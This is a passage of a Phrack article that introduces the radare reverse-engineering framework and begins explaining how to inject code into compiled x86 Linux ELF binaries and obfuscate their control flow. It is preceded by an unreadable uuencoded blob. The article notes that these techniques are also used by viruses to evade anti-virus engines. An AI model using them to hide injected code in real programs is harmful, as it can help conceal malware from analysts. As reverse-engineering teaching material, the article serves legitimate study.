M\?Y?2<KM_YVR>8%=O]-*8CNOV,XKMO,N$<//'<!('':"CP^,O_W5Q\OF/CZ<7
MOT\B]66?3A[3UR.T+_./CD\OR"D=E"0YGT5>*$E6+H\=961YBIK-(^Z'%*2A
M%NK1,ZHDSY1*\B*6"9-\+G/BVX%,2<GT8C_3B\XFZVMGVL&M?.EIQPJE25:N
M/-_97'F6E2O/$R!7GF05H4](4H1.L\IJ)(0JJQ&55.'(EZ\RR=KBJ7J65BJ.
MC3,673SMHI+-2O?JD:1FLUCX;E9+RV:Q@-HL2\]F<>X_9+;*^E4D]03['!UX
MO'/E25:N--^57.DD*U>![V"N`LO*E>=[G2O/LG+E>5+DRG-9A(_8A]=:4QZC
M^^__;>[^'UDS"NN_NKC_9R5I]O[?^WJ`\B#$'F#A#A+NH*?L#LI(=+6D-^(2
MRL!<JYW`W_4%0&(G\*IV`L]Q;5##-^S\V#N!Q?+VC[B\+=*,M)3]-V<$D'K[
M#\P^N1#_PS2$_W\E:>;]/_>+`)('(.X`$NL'8OW@Z=X!Q$<6$7<`+7\'T*#/
MW6-2'D-#K@BBD072JP7"+-&90.JC>3"C5=P!M"WN`!)W`&6!K,T=0$2*E7HI
MKHKLPP&Q9D4'4N:;E+1Z(,8CS"?B#B!Q!U`5)HO<`61H_"U`CWD'$,%D>@N0
MB'OVH\4]$W<`B;1\NO_Y_\;B_YJZ5/#_&9*(_[N25.[_R[!Y<>]?MOH<!_^%
MWT_X_83?;WF_W\'QAXD?KV<D;CQ.&@M7>9OR$W3C-7*!-C6[[5JSNS?3[.9]
M@17N&7.F>Z:Q6[B)=Z6F.\9<-PO?7]O8S>3+UZ7;BGJG&A+AX2@=^$0C%I-2<HD!`Z2\X`1Y`=IIUSY3>,#1QS^3=
M@>OHGJ&>6KN.Q=13VZL=;)8*0'9+UA;2F!5L'Y:TNTGB550`40A-=DN<K"2N
MQ8W+@,QRLO*N"(?W\?3]Q"G"O59>:=*[,B"$)G+]4HDV<ZF$>JVA*W:ERXK`
M*.E,'@A6F7>RTN]5>&_EN[-6?B^Y5^OWHD19TN_%LWC7*&7QBOQ>/":R(HF[
MKW_<"[&$WZO)M*#_IY\)]]7,_B]9+=G_I0G_STI2N?\GQ^;%/4!Y`#7[O\#B
MO@:C6[B!A!M(N(&:<0.]Y]Q`>B]Q`V5$,G=3M")V<XG=7&(W5TUWUF\W5Z$[
M_&ZNCJ+7FO>3W5QY'T%A-U?!3]"P+ZF1W5S4^VG4>C^5U>VALNN!*$]U#U7I
M]*A6S(YK*<6-3=2-`%E#%E=Y*QB+\W[E=61Q\S0Q:FF2WRNWKC0Q]=J7ESSS
MY=7,_D/,G-Q6G1]6>5)^V!7L/\RH[J]D[?'V'^8P,<7^0['_4/AAGW"ZO_^W
MN?M?#:40_ULWA/]DB_E.&S_>)_I0%,)_[5X1^$J&?1.BGM0S]Q(ESE9`W
M$O:)@[A609^^Z^M?27C,IQSQ:=K'THA/)8&=:MA8>:.FHBQXD6LA1-1R%[D2
M+C5Z1Q()A$0"E\Z^%VLNPMVK4PR#AKO%XJN6!Z2J0H35>1AQDU-Q6R)B5J,7
M0HF[<Q.PXN[<I>Y_;63_#SG_I8OX3X^49I[_NM_^GSP`<09,;/X1FW_6X@Q8
M(923.`,FSH`UO##=V%ZFI=?9O^<S8+N50#JZ5%C-;9BPX@Q8"2;]'_<,F*'Q
MI\#$&;#O\`P8L)@[!?:89\#(WH/I*3"Q]T#L/1![#^Z7EHC_T]3ZOZ87[O]4
MR"/A_UE!JEC_'RR[_C^8M?Z?=_^(Q7^Q^"\6_]=R\7]0NO@_:'SQ?]#8XC]W
M8^+LU4UNI:Y7MD*8;@F8+H1GX56O[].%=KF(07ZM=)Y=!#S6TY5$;I%,3A?0
MBLM2S#/!]CRH\E9QK3^M6ZR:U)RV/"\MZQ9;.?8TNO2;V;S`>J3TDEJI]3S=
MV$#73?4I-<B$1<"V?TZ-X\EJ)JW)ED=S[6BY[2(_M>1Y%GFU_%.5&]G-+/*R
M=@J+O+)8Y,V/S^]^D;<F+:C_3Y@]O_8_6_\ON?]'4<7]KRM)%?H_Q^?[:/]\
M]1+=GY\RA-(OE'ZA]#^RTO^OSH>]HZ-_ERG_$UDM%^]&%/\7[L#!`P0H@&:2
M7G//:2<UNLGD_9_13:89Y#5/?PL&13OYK=(]4SQX):!<\:)%%\5X.<3FQ6M1
MK.9H?*ZFV27U99KF#ZQGSJ%E+J1"\F*#;]VX44X3@(OP^;$5&9'NE98X_]=0
M_'\9WF.%_9^Z:0C]?Q5I9ORW):._B=AO8ONGV/ZY1K'?\E<`B-AOR\5^:R8(
M5E,Q\QO90RIBOQ5I(F*_98%\9['?2'>4>DRJ(F5GN[/\G:)-W,$A8K\5@30V
M43<"9`U9+&*_B=AO54!$[+<B)BN/_<9'?GO<V&]\Y#>Q_UK<P2'V7S_55/#_
```

```
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
UQ]XO2!24_$Y:%#'ZZ%3!*FI6!H=5]EPTQXY_N>ROK]OZE$!YR""T0GB5\>C
HYA0XX6-&29JI/)B7BBP458PD(.Y;V.T%)'7=`8=W2N7I`I]P)Y<?QJ7JFQ4
0S5;/"4`<`VNOOVT>JZB=$I=_[>,`:R5_QM6N/Y;IL[M/PRU_N=!0O]OXWY?
V",$`'\6WY^\/#\\_Z_MCJ[<;NQ&S8EC`K^6VT?OX%&\4WD!BW\'[LNEOZ`P
@8=/2_,?-^DMR7V2ULQ_P]`B^0^_!0/R?[.AXO_D0MS_-S_S+W)5C"3&SL#M
@L`82X)%!`2FQ30I;,:2R,I@Z2DN?L:DST71LU@4!DY0`AHY]F?.R!Z`I#4$
84RN<*UB))ZBY1B(E<4"OM#W0,YB\+=%UW1%_X=K?(/+7U7VK.L$3HLE1-$+
_3)+&I7"*+<+&;@S%^5*,ED`86[28<*Z`;+$K$&,*V-YSRKB/KTOWGXEC.C&
K'UVS/JSR7S*S6=Z4![4G1U0X[FMG4WWR^U7;X^/[`\?WQZ?5[6J7JFP@P.R
EZ.F,]83<B1T,'1[E962.:#-QV2VQYYT2;HDWD"%X%6*(G'\GY./]NO#D_=_
GA]C\K<BKP]U*KX/4O`UP]I5V#[3J=3"4J%M;MG6G;@^6BB1(Z_#T(T<@2=H
;8VQDW^.0`QWOD!*#:J"A14RJR"EXR/L4V$,M"<EY'+\5*K"L-_QO=&%=DFR
,S)A^9&6:!FU+=G9P0!%=6IGE3T5HRU>4DRAJ;"G6%25V("F/ZB!A'QA"UW$
4ADC2LO@3':O8!:H=Y2%'O94#FM-#K%_#V[0Z)"A*=,?-+A@7/LC&-&V_64R
=`*0''%XE_"!$MNC_THC6#)F-R7*)-0XBM^41'"_E-S_=X'M]X?_-4V0!@C_
,Q7^EPNE\G_+-D`;\-\P+#S_:>B6IOB?!ZWD_Y9L@-;I_X9N)?C?U#6E_^="
TO[GK7UX='0>V?W(ZRCE7^<V"%DG1VUF9)@!D9_%,S;T@\G,O?CMLA6E79T%
,[PD.1GM@M#4!N4H.W@,5C8/EU+G?\[XGZ&'^K^EFQ;A?YKZ_D<NA-8^PMCG
!;!>ES\,ME.,V0:Q@D0`W9TX`$A&0/!WY/F=,`_Z4W/"K.A/S=E982RD9OX]
4>K\%YS.Z?RW7C>-</^WF@:=_QK*_C<7NF?\;QG82\/_(`T7F`3<Y_7'SC`)
`<X0^ED'"Z:@AQLAA;B^M=8]8<2`1,:1Q.)?">30OPBEJDN!(GH'&OPB$V80
F^:]GCM#R(3+2I`D@"K7C[`F_A0[$'"@3;`B@H)5J\(R0*,(,XJ_Q/0UJ)DH
,:Q$LE!Q<,YK6]F\?&,M:C=R1[X;B#;3T3Q'/PO`^\[TAH5W2FWI5E>KU2A3
0J\^S&="9IW/A-N>;,SN[RBF0I-DM\=O8<O@%A26`/G\"^TR'>C3$#V#H2)1
O%M@>:N@/)V#>0++6POE+=917UU'8TMU-#:K(W'D"/4+Z78HG3*A(!Y`$<:&
,V2D4A"WT!RBC).$>?OAY(&+Y\\K4$Z,84(-\63#^VY@#WW9']ZEA#-?0X:N
TQD08"Z:L:8@[`P$0N/F&>A*P":]'@Q.Z1B>K'KAZP!#LI=_P>H@K&I/YH$]
NII<QVH%70V\XTZ/W2[EP^%2=!QWAO,PLJ0P*^DL%//%FP5SN(J[PV;TRG/>
+60^DE(/Y)I$R+%GGF#L3)\*(_L3)Y!0N;>$EJ>5%V/X&P\!>G*YA\<QNJIH
T<*T#/L_WOV"S012DPV--TY4O$J'([$Z1+`U=CXV12/X6MC2N-TJV=G`(D'%
KN61)GF$JS7L-_T^K;V9?:GQD2::HZ<,)R;&TRD/.BN6<V+=RH;JE/%BV_15
;=MD`-ZB90M,?8>NZ&3R1%/(O\5DQ8P_PVOQ-K5/WKP[>?]^>V<-<@RCWS"+
(K]^*CWQ/Y5H_/+^?J0'$ZGR_Y9]`-;J_Z'_7].H-TS$_ZRZ.O_/A>[*_A]D
MQ`[N1,.;*@]5(7+!HL9%M^L%42`4MLM&WIB"-W=Q1W-XO!.T@+R:]WO>-2SB
MCV0ZYDZI\W_+/@#KYG]T_M.P-`OU_[H)2X(Z_\F!,OE/P-UVRMC@_,_4=([_
M&HK_N=!J_A-P^[=1P#7SWP#6A_M_@_P_FNK[?SG1:H^."'B[G4^(0-\2_A^I
M+B#R6!'U$WLRYHX0U^B+G^(@<5UIL51?A_&-\'58--G;*>)YY"*(MA,#T3J^
M.(^,I<CC2739.&!ZE<G2\6I_'Z[D$_22P(,2B-=SO5%Y6OX?_.6^%=G0'+/P
MD4*'QVU?#:.)9V,>'5S5RU#(%[5QJ=Y([Y*V.Z9`<Z@0D1,)LI/W=ZC@<14Z
M^>8Y5YX2NCH)@F%FU+/8+[)G*W@,Q!DG55AJC'2ZZ?C)"E,6U:B7B1.1$TYA
M8<1()D6U7$!E%AJY5`G^PJN!,^[S5@EV!9,)?VNQNU<ICSL2@(SP1U+G/>X+
M-')+"0Y`)?'#*:$;SW0>@9J\^SL"D*S2K^_HB</N%\]WE_LAP>R8Y]')&*&X
M`*&KR92"S/%7I[-)!^$DBC>'*CLTB.='B$(9;3:_*?>A'Y!6[__;,018J_]K
MH?^/!<(`[O_-IJ;V_SQ(GO'[>,:_1V"?L;/H_0/;D[B!9_CB\+^0X?VSG$@"
M1.SP/\4M2"T;]T:KYK]^G_J?LO_,A5;S/__U7[=TOOZK^-^Y4,KZKV>M_[I:
M_W\Z6CW_B>EWCO\8C4:(_YB61OA/7=E_YD(*__EA\1_MCO&?'Q/^H>`I,2PG
M!%CZ,:NQ9(G?#;0D&+(:(<J"FS@7,LW7F#OTE^"C!;1*?!D#,:IT/&FIN<(L
M1[]4X-+CIH7]'[_',K&_3F;#[CW%_VXT&RC_UQL8_T7I?W=/F?S?H@_0>OVO
M*?BO@?IOD?]?4\E_N1!%^]WCP7Y?O7Y_^(:N=OL+SC^0PH<&7!3C&J-,CX<*
MYIF]"&^H4,$/F3+G_Q9M@#98_W6K0?[?9EW9?^1"*_F_I3U@W?JO6T:X_AOT
M_;^FI?"_?"AK-1=[`6T%BVA@[*E8,+@UL>#4FO]`:>7\CQC]MS#`=?/?C.(_
M:G43\3^K;JGX#[G0@_/_C,(09R".J5Z5$H9YBR.6G0UF3N?S+\*7\/$Y=6Q`
MF?,_%/CO'/_7&O5(_JL;W/X#Q$`U_W.@!S?_(__OE0[6X=:T%*X1EX,H'.-R
MK$:1D.T.&V:=XA/+*JTH1!Y;BI&G_W!>9`OSGY99.H?8:@BXC?2_ILG]/YI*
M_\N#LOB_S1!`WX'_:>K[7_F0PO\>-V7-_VVZ`&ZV_C=5_,<<:17_M[4'?`?^
MU]24_U<NI/"_QTVKYO^6X+^U\]^R(OP/'3]@03!-=?Z;"STX_7\]_I<6VBT-
M$Q3F?R+(D(Y6:3PI\=V$Q(/&;1\TLQ^,`,E/X\,AF>C!RGDFPAT=AM'3HH]0
MRTS]RAY[,N7_T'Q,UE[^,.0/DT<5FKEN63Z#)<<3C&2"N0Q/9,W_+<)_&^%_
E3?K^2[.AJ?._7.C!S7^%_RE2I$B1(D6*%-TI_1]!W`^D`+@!````
`
end
```

--------[EOF

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x0E of 0x11

```
|=-----------------------------------------------------------------------=|
|=----------------=[ manual binary mangling with radare ]=---------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ by pancake <at> nopcode.org> ]=------------------=|
|=-----------------------------------------------------------------------=|
```

--[1 - Introduction

Reverse engineering is something usually related to w32 environments where there is lot of non-free software and where the use of protections is more extended to enforce evaluation time periods or protect intellectual (?) property, using binary packing and code obfuscation techniques.

These kind of protections are also used by viruses and worms to evade anti-virus engines in order to detect sandboxes. This makes reverse engineering a double-edged sword.

The way to do low level analysis does usually involve the development and use of a lot of small specific utilities to gather information about the contents of firmware or a disk image to carve for keywords and dump its blocks.

Actually we have a wide variety of software and hardware platforms and reverse engineering tools should reflect this.

Obviously, reverse engineering, cracking and such are not only related to legal tasks. Crackmes, hacking challenges and learning for the heck of it are also good reasons to play with binaries. For us, there is a simple reason behind them all: fun.

--[1.1 - The framework

At this point, we can imagine a framework that combines some of the basics of *nix, offering a set of actions over an abstracted IO layer.

Following these premises I started to write a block based hexadecimal editor. It allows to seamlessly open a disc device, file, socket, serial or process. You can then both automatize processing actions by scripts and perform manual interactive analysis.

The framework is composed of various small utilities that can be easily integrated between them by using pipes, files or an API:

```
  radare: the entrypoint for everything :)
  rahash: block based hashing utility
  radiff: multiple binary diffing algorithms
  rabin:  extract information from binaries (ELF,MZ,CLASS,MACH0..)
  rasc:   shellcode construction helper
  rasm:   commandline assembler/disassembler
  rax:    inline multiple base converter
  xrefs:  blind search for relative code references
```

The magic of radare resides in the ortogonality of commands and metadata which makes easy to implement automatizations.

Radare comes with a native debugger that works on many os/arches and offers many interesting commands to ease the analysis of binaries without having the source.

Another interesting feature is supporting high level scripting languages like python, ruby or lua. Thanks to a remote protocol that abstracts the IO, it is allowed the use of immunity debugger, IDA, gdb, bochs, vmware and many other debugging backends only writing a few lines of script or even using the remote GDB protocol.

In this article I will introduce various topics. It is impossible to explain everything in a single article.

If you want to learn more about it I recommend you to pull the latest hg tip and read the online documentation at:

  http://www.radare.org [0]

I have also written a book [1] in pdf and html available at:

  http://www.radare.org/get/radare.pdf

--[1.2 - First steps

To ease the reading of the article I will first introduce the use of radare with some of its basics.

Before running radare I recommend to setup the ~/.radarerc with this:

```
  e scr.color=1    ; enable color screen
  e file.id=1      ; identify files when opened
  e file.flag=1    ; automatically add bookmarks (flags) to syms, strings..
  e file.analyze=1 ; perform basic code analysis
```

Here's a list of points that will help us to better understand how radare commands are built.

 - each command is identified by a single letter
   - subcommands are just concatenated characters

- e command stands for eval and is used to define configuration variables
- comments are defined with a ";" char

This command syntax offers a flexible input CLI that allows to perform temporal seeks, repeat commands multiple times, iterate over file flags, use real system pipes and much more.

Here are some examples of commands:

```
  pdf @@ sym.    ; run "pdf" (print disassembled function) over all
                 ; flags matching "sym."
  wx cc @@.file  ; write 0xCC at every offset specified in file
  . script       ; interpret file as radare commands
  b 128          ; set block size to 128 bytes
  b 1M           ; any math expression is valid here (hex, dec, flags, ..)
  x @ eip        ; dump "block size" bytes (see b command) at eip
  pd | grep call ; disassemble blocksize bytes and pipe to system's grep
  pd~call        ; same as previous but using internal grep
  pd~call[0]     ; get column 0 (offset) after grepping calls in disasm
  3!step         ; run 3 steps (system is handled by the wrapped IO)
  !!ls           ; run system command
  f* > flags.txt ; dump all flags as radare commands into a file
```

--[1.3 - Base conversions

rax is an utility that converts values between bases. Given an hexadecimal value it returns the decimal conversion and viceversa.

It is also possible to convert raw streams or hexpair strings into printable C-like strings using the -s parameter:

```
  $ rax -h
  Usage: rax [-] | [-s] [-e] [int|0x|Fx|.f|.o] [...]
   int   ->  hex           ;  rax 10
   hex   ->  int           ;  rax 0xa
   -int  ->  hex           ;  rax -77
   -hex  ->  int           ;  rax 0xffffffb3
   float ->  hex           ;  rax 3.33f
   hex   ->  float         ;  rax Fx40551ed8
   oct   ->  hex           ;  rax 035
   hex   ->  oct           ;  rax Ox12 (O is a letter)
   bin   ->  hex           ;  rax 1100011b
   hex   ->  bin           ;  rax Bx63
   -e    swap endianness   ;  rax -e 0x33
   -s    swap hex to bin   ;  rax -s 43 4a 50
   -     read data from stdin until eof
```

With it we can convert a raw file into a list of hexpairs:

```
  $ cat /bin/true | rax -
```

There is an inverse operation for every input format, so we can do things like this:

```
  $ cat /bin/true | rax - | rax -s - > /tmp/true
  $ md5sum /bin/true /tmp/true
  20c1598b2f8a9dc44c07de2f21bcc5a6 /bin/true
  20c1598b2f8a9dc44c07de2f21bcc5a6 /tmp/true
```

rax(1) can be also used in interactive mode by reading lines from stdin.

--[1.4 - The target

This article aims to explain some practical cases where an scriptable hexadecimal editor can trivially solve and provide new perspectives to solve reverse engineering quests.

We will take a x86 [2] GNU/Linux ELF [3] binary as a main target. Radare supports many architectures (ppc, arm, mips, java, msil..) and operating systems (osx, gnu/ linux, solaris, w32, wine, bsd), You should take in mind that commands and debugger features explained in this article can be applied to any other platform than gnu/linux-x86.

In this article we will focus on the most widely-known platform (gnu/linux-x86) to ease the reading.

Our victim will suffer various manipulation stages to make reverse engineering harder keeping functionality intact.

The assembly snippets are written in AT&T syntax [4], which I think it's more coherent than Intel so you will have to use GAS, which is a nice multi architecture assembler.

Radare2 has a full API with pluggable backends to assemble and disassemble for many architectures supporting labels and some basic assembler directives. This is done in 'rasm2' which is a reimplementation of rasm using libr.

However, this article covers the more stable radare1 and will only use the 'rasm' command to assemble simple instructions instead of complete snippets.

The article exposes multiple situations where low level analysis and metadata processing will help us to transform part of the program or simply obtain information from a binary blob.

Usually the best program to start learning radare is the GNU 'true', which can be completely replaced with two asm instructions, leaving the rest of the code to play with. However it is not a valid target for this article, because we are interested in looking for complex constructions to hide control flow with call trampolines, checksumming artifacts, ciphered code, relocations, syscall obfuscation, etc.

--[2 - Injecting code in ELF

The first question that pops up in our minds is: How the hell we will add more code in an already compiled program?

What real packers do is to load the entire program structures in memory for in-memory manipulation, handling all the code relocations and generating a completely brand new executable.

Program transformation is not an easy task. It requires a complete analysis which sometimes is impossible to do automatically, due to the need to mix the results of static, dynamic and manual code analysis.

Instead of this approach, we will do it in a bottom to top way, taking low level code structures as units and doing transformations without the need to understand the whole program.

This enables ensuring that transformations won't break the program in any way because their local and internal dependencies will be easy identified.

Because the target program is generated by a compiler we can make some assumptions. For instance, there will be a place to inject code, the functions will be sequentially defined, access to variables will be easier to track and calling conventions will be the same along all the program.

Our first action will be to find and identify all the parts of the text section with unused or noppable code.

'noppable' code is defined as code that is never executed, or that can be replaced by a smaller implementation, taking benefit of the non-overwritten bytes.

Compiler-related stubs can be sometimes noppable or replaced, and more of this is found in non-C native-compiled programs (haskell, C++, ...)

The spaces between functions where no code is executed are called 'function paddings'. They exist because the compiler tried to optimize the position of the functions at aligned addresses to ease to job on the cpu.

Some other compiler-related optimizations will inline the same piece of code multiple times. By identifying such patterns, we can patch the spaghetti code into a single loop with an end branch and use the rest for our own purposes.

Following paragraphs will verbosely explain those situations.

Never executed code:

We can find this code by doing many execution traces of the program and finding the uncovered ranges. This option will probably require human interaction.

Using static code analysis we would not be able to follow runtime pointer calculations or call tables. Therefore, this method will also require some human interaction and, in the event we get to identify a pattern, we can write a script to automatize this task and add N code xrefs from a single source address.

We can also emulate some parts to resolve register values before reaching a register based call/branch instruction.

Inlined code and unrolled loops:

Programmers and compilers usually prefer to inline (duplicate the code of a external function in the middle of another one) to reduce the execution cost of a 'call' instruction.

Loops are also unrolled and this produces longer, but more optimal code because the cpu doesn't need to compute unnecessary branches all the time.

These are common speedup practices, and they are a good target to place our code. This process is done in four steps:

- Find/identify inline code or unrolled loops (repeated similar blocks)
- Patch to uninline or re-roll the loop
- ...
- Profit!

Radare provides different commands to help to find/identify such kind of code blocks. The related commands are not going to do all the job automatically. They require some automatization, scripting or manual interaction.

The basic approach to identify such kind of code is by finding repeated sequences of bytes allowing a percentage of similarity. Most inline code will come from small functions and unrolled loops will be probably small too.

There are two basic search commands that can help on this:

```
  [0xB7F13810]> /?
  ...
  /p len   ; search pattern of length 'len'
  /P count ; search patterns of size $$b matching at >N bytes of curblock
  ...
```

The first command (/p) will find repeated bytes of a specified length.

The other one (/P) will find a block that matches at least N bytes of the current blocksize compared to the current one.

These pattern search must be restricted to certain ranges, like the .text section or the function boundaries:

The search should be restricted to the text section:

```
 > e search.from = section._text
 > e search.to = section._text_end
```

All search commands (/) can be configured by the 'search.' eval variables.

The 'section.' flag names are defined by 'rabin'. Calling rabin with the -r flag will dump the binary information to stdout as radare commands.

This is done at radare startup when file.id and file.flag are enabled, but this information can be reimported from the shell by calling:

```
 > .!!rabin -rS ${FILE}
```

This command can be understood as a dot command '.', which interprets the output of the following command '!' as radare commands. In the example below there are two admiration marks (!!). This is because the single '!' will run the command through the io subsystem of radare, falling in the debugger layer if trying to run a program in the shell which has a name that equals a debugger command's.

The double '!!' is used to directly escape from the io subsystem and run the program directly in the system.

This command can be used to externalize some scripting facilities by running other programs, processing data, and feeding radare's core back with dynamically generated commands.

Once all the inlined code is identified, search hits should be analyzed, discarding false positives and making all those blocks work as subroutines using a call/ret pattern, nopping the rest of the bytes. Unused bytes can now be filled with any code.

Another way to identify inlined code can be done by splitting a function code analysis into basic blocks without splitting nodes (e graph.split=false) and finding similar basic blocks or repeated.

Unrolled loops are based on repeated sequences of code with small variations based on the iterator variable which must change along the repeated blocks in a progressive way (incremental, decremental, etc).

Language bindings are recommended for implementing such kind of tasks, not only because the higher language representation, but also thanks to the high level APIs for code analysis that are distributed with radare for python and other scripting languages (perl, ruby, lua).

The '/' command is used to perform searches. A radare command can be defined to be executed every time a hit is found, or we can later use the '@@' foreach iterator can be used over all the flags prefixed with 'hit0' later.

See '/?' for help on search-related commands but, in short, there are commands to search in plain text, hexadecimal, apply binary masks to keywords, launch multiple keywords at a time, define keywords in a file, search+replace, and more.

One of the search algorithms accessible through the '/' command is called '/p', which performs a pattern search. The command accepts a numeric value which determines the minimum size for a pattern to be resolved.

Patterns are identified by a series of consecutive bytes, with a minimum length, that appear more than once. The output will return a pattern id, the pattern bytes and a list of offsets where the pattern is found.

This kind of search algorithm can be useful for analyzing huge binary files like firmwares, disc images or uncompressed pictures.

In order to get a global overview of a big file the 'pO' command can be used, which will display the full file represented in 'blocksize' bytes in hexadecimal. Each byte will represent the number of printable characters in the block, the entropy calculation, the number of functions identified there, the number of executed opcodes, or whatever is set at the 'zoom.byte' eval variable.

```
     zoom view                  real file
    +-----------+              +----------+
    |         0 |--------------|        0 |
    |         1 | '-.__        |      ... |
    |         2 |     '-.__    |          |
    |         3 |          '-.|      128 | (filesize/blocksize)
    |       ... |              +----------+
```

The number of bytes of the real file represented in a byte of the zoom view is the quotient between the filesize and the blocksize.

Function padding and preludes:

Compilers usually pad functions with nop instructions to align the following one. They are usually small, but sometimes they are big enough to store trampolines that will help obfuscate the execution flow.

In the 'extending trampolines' chapter I will explain a technique to hide function preludes inside a 'call trampoline' which runs the initial code of each function and then jumps back to the next instruction.

By using call tables loaded in .data or memory it will be harder to follow for the reverser, because the program can lose all function preludes and footers so that it'll be read as a single blob.

Compiler stubs:

Function preludes and calling conventions can be used as watermarks to identify the compiler used. But when compiler optimizations are enabled the generated code will be heavily transformed and those preludes will probably be lost.

Some new versions of gcc are using a new function prelude aligning the stack before entering the code to make memory access by the cpu on local variables. But we can replace them with a shorter hand made one adapted to the concrete function needs and this way ripping some more bytes for our own fun.

The entrypoint embeds a system dependent loader that acts as a launcher for the constructor/main/destructor. We can analyze the constructor and the destructor to check if they are void.

Then, we can drop all this code by just adding a branch to the main pointer, getting about 190 bytes for a C program. You will probably find much more unused code in programs written in D, C++, haskell or any other high level language.

This is how a common gcc's entrypoint looks like:

```
0x08049a00, / xor ebp, ebp
0x08049a02  | pop esi
0x08049a03  | mov ecx, esp
0x08049a05  | and esp, 0xf0
0x08049a08, | push eax
0x08049a09  | push esp
```

```
    0x08049a0a  | push edx
    0x08049a0b  | push dword 0x805b630 ; sym.fini
    0x08049a10, | push dword 0x805b640 ; sym.init
    0x08049a15  | push ecx
    0x08049a16  | push esi
    0x08049a17  | push dword 0x804f4e0 ; sym.main
    0x08049a1c, | call 0x80495b4  ; 1 = imp.__libc_start_main
    0x08049a21  \ hlt
```

By pushing 0's instead of fini/init pointers we can ignore the constructor and destructor functions of the program, most of the programs will work with no problems without them.

By analyzing code in both (sym.init and sym.fini) pointers we can determine the number of bytes:

```
[0x080482C0]> af @ sym.__libc_csu_fini~size
size = 4
[0x080482C0]> af @ sym.__libc_csu_init~size
size = 89
```

Tracing

Execution traces are wonderful utilities to easily cleanup the view of a binary by identifying parts of it as tasks or areas. We can for example make a fast identification of the GUI code by starting a trace and graphically clicking on all the menus and visual options of the target application.

The most common problem to tracing is the low performance of a !stepall operation, which mainly gets stupidly slow on loops, reps and tracing already traced code blocks. To speedup this process, radare implements a "touchtrace" method (available under the !tt command) which implements an idea of MrGadix (thanks!)

This method consist in keeping a swapped copy of the targeted process memory space on the debugger side and replacing it with software breakpoint instructions. On intel we would use CC (aka int3).

Once the program runs, it raises an exception because of the trap instruction, which is handled by the debugger. Then the debugger checks if the instruction at %eip has been swapped and replaces the userspace one, storing information about this step (like timestamp, number of times it has been executed and step counter).

Once the instruction has been replaced, the debugger instructs the process to continue execution. Each time an unswapped instruction is executed the debugger replaces it.

